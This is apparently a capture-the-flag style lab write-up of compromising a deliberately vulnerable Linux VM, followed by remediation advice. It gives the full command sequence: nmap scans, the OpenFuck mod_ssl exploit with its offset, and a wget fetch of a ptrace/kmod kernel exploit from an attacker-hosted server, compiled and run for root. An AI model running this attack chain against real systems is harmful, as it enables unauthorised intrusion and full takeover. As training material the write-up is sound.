Binary-Exploitation-and-Kernel-Escalation

Secured root-level access by identifying and exploiting misconfigurations and outdated software. Buffer overflow vulnerability in an outdated version of mod_ssl (CVE-2002-0082). Privilege escalation was subsequently achieved by exploiting a race condition in the Linux kernel's "ptrace" utility (CVE-2003-0127), Phase 1: Reconnaissance & Enumeration The first step was to identify the target's IP address on the 192.168.56.0/24 subnet.

Host Discovery:

sudo nmap -sn 192.168.56.0/24

Result: The target was identified at 192.168.56.105.

Port Scanning and Service Enumeration: A comprehensive Nmap scan was executed to identify open ports, running services, and operating system details.

sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105

Key Findings:

Port 80/tcp & 443/tcp: Running Apache httpd 1.3.20 with mod_ssl/2.8.4 and OpenSSL/0.9.6b.

Port 22/tcp: Running OpenSSH 2.9p2.

Port 139/tcp: Running Samba smbd.

OS Detection: Linux Kernel 2.4.X (likely 2.4.9 - 2.4.18).

The outdated version of Apache and mod_ssl immediately presented a high-probability vector for initial access. Phase 2: Initial Access (Exploitation)

Exploit Database via searchsploit confirmed that mod_ssl 2.8.4 is vulnerable to a well-known Remote Buffer Overflow.

searchsploit mod_ssl 2.8

I identified the OpenFuckV2.c exploit (EDB-ID: 47080) as the most reliable payload for this vulnerability. I mirrored the exploit to the local host and compiled it with the necessary cryptographic libraries.

Exploit Compilation:

searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto

Running the compiled binary without arguments provided a list of supported offsets. By matching the offset to the target's specific OS and Apache version (Red-Hat Linux, Apache 1.3.20), I determined the correct offset to be 0x6b.

Execution:

./OpenFuck 0x6b 192.168.56.105 443 -c 40

The exploit successfully forced a buffer overflow, granting a low-privileged shell as the apache user.

bash-2.05$ whoami apache

Phase 3: Privilege Escalation

Note on Methodology: The OpenFuck exploit attempts to automatically download a secondary privilege escalation payload (ptrace-kmod.c) from a remote server using wget. However, because the target environment did not have outbound internet access, this automated step failed (resolving to Host not found). I pivoted to manual enumeration and exploitation.

System Enumeration:

bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

The system was running a highly vulnerable kernel version: 2.4.7-10. Searching for exploits targeting this specific Linux kernel revealed a local privilege escalation vulnerability utilizing ptrace/kmod.

Payload Staging: I located the exploit locally (EDB-ID: 3) and hosted it via a Python HTTP server on the attacker machine to facilitate the transfer.

Attacker Host:

searchsploit -m 3 python3 -m http.server 8000

Target Machine:

cd /tmp wget http://192.168.56.1:8000/3.c

The 3.c source code was successfully transferred to the target's /tmp directory, I compiled and executed it natively on the target machine.

Execution and Root Compromise:

gcc 3.c -o exploit

./exploit

whoami

root

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

The ptrace race condition was successfully exploited, escalating privileges from the apache daemon to root. Total system compromise was achieved.

Phase 4: Remediation To secure this system against the vulnerabilities exploited:

1. Update Web Services: The Apache server must be updated to the latest stable releases to patch the CVE-2002-0082 buffer overflow vulnerability, which allows unauthenticated remote code execution.

2. Kernel Patching: The Linux kernel (2.4.7-10) is vulnerable to multiple local privilege escalation exploits, including the ptrace (kmod) race condition. The operating system kernel must be upgraded to a modern, supported version.

3. Network Segmentation & Egress Filtering: The server should be placed behind a firewall that restricts unnecessary outbound traffic. While the automated wget failed in this offline lab, egress filtering would prevent compromised web applications from pulling secondary malicious payloads from the internet in a live environment.